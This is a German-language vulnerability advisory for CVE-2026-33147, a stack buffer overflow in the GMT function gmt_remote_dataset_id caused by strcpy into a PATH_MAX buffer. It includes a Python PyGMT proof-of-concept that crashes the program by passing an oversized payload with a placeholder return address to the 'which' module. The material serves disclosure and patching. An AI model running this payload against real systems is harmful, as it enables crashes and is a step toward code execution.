
Proof-of-Concept-Exploit für einen stackbasierten Pufferüberlauf in GMTs `gmt_remote_dataset_id`, der einen Absturz und potenzielle Codeausführung über manipulierte Datensatznamen demonstriert.
CVE-2026-33147 (Stack-basierter Pufferüberlauf in gmt_remote_dataset_id)
Eine Schwachstelle mit stack-basiertem Pufferüberlauf wurde in der Funktion gmt_remote_dataset_id innerhalb von src/gmt_remote.c identifiziert. Dieses Problem tritt auf, wenn eine speziell konstruierte lange Zeichenkette als Datensatzbezeichner (z. B. über das which-Modul) übergeben wird, was zu einem Absturz oder potenziell beliebiger Codeausführung führt.
Die Schwachstelle wird durch die unsichere Verwendung von strcpy (oder ähnlichen unbegrenzten Zeichenkettenoperationen) verursacht, wenn ein benutzerkontrollierter Datensatzname in einen Stack-Puffer mit fester Größe file[PATH_MAX] kopiert wird.
Wenn eine Eingabe PATH_MAX (typischerweise 4096 Bytes) überschreitet, überschreibt sie den Stack-Frame, einschließlich der Rücksprungadresse. Dies wurde mit AddressSanitizer (ASan) bestätigt, der einen stack-buffer-overflow meldete.
Das folgende Python-Skript mit PyGMT reproduziert den Absturz:
import struct
from pygmt.clib import Session
with Session() as lib:
# Payload, der den Stack-Puffer überlaufen lassen soll
padding = "A" * 4096
fake_ret = struct.pack("<Q", 0x4141414141414141) * 100
payload = padding + fake_ret.decode("latin-1")
# Auslösen des Überlaufs über das 'which'-Modul
lib.call_module("which", [payload])
Dies ist eine Speichersicherheits-Schwachstelle.